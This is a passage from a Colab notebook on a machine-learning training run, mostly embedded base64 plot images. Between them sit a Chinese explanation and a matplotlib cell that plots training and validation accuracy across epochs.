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\n",
592 | "text/plain": [
593 | ""
594 | ]
595 | },
596 | "metadata": {
597 | "tags": [],
598 | "needs_background": "light"
599 | }
600 | }
601 | ]
602 | },
603 | {
604 | "cell_type": "markdown",
605 | "metadata": {
606 | "id": "ZR9hbFm_4guG",
607 | "colab_type": "text"
608 | },
609 | "source": [
610 | "以下程式可以繪製訓練過程的正確率變化。訓練的過程中,當 Accuracy 後期並有沒太大的變化,表示 Model 很快就在假設空間裡進行不錯的收斂。"
611 | ]
612 | },
613 | {
614 | "cell_type": "code",
615 | "metadata": {
616 | "id": "PGiIWDC41M0i",
617 | "colab_type": "code",
618 | "outputId": "d4265c2a-3818-449e-986c-7254a1ad19c0",
619 | "colab": {
620 | "base_uri": "https://localhost:8080/",
621 | "height": 295
622 | }
623 | },
624 | "source": [
625 | "plt.clf()\n",
626 | "acc = history_dict['accuracy']\n",
627 | "val_acc = history_dict['val_accuracy']\n",
628 | "\n",
629 | "plt.plot(epochs, acc, 'bo', label='Training acc')\n",
630 | "plt.plot(epochs, val_acc, 'b', label='Validation acc')\n",
631 | "plt.title('Training and validation accuracy')\n",
632 | "plt.xlabel('Epochs')\n",
633 | "plt.ylabel('Accuracy')\n",
634 | "plt.legend()\n",
635 | "\n",
636 | "plt.show()\n"
637 | ],
638 | "execution_count": 16,
639 | "outputs": [
640 | {
641 | "output_type": "display_data",
642 | "data": {
643 | "image/png": "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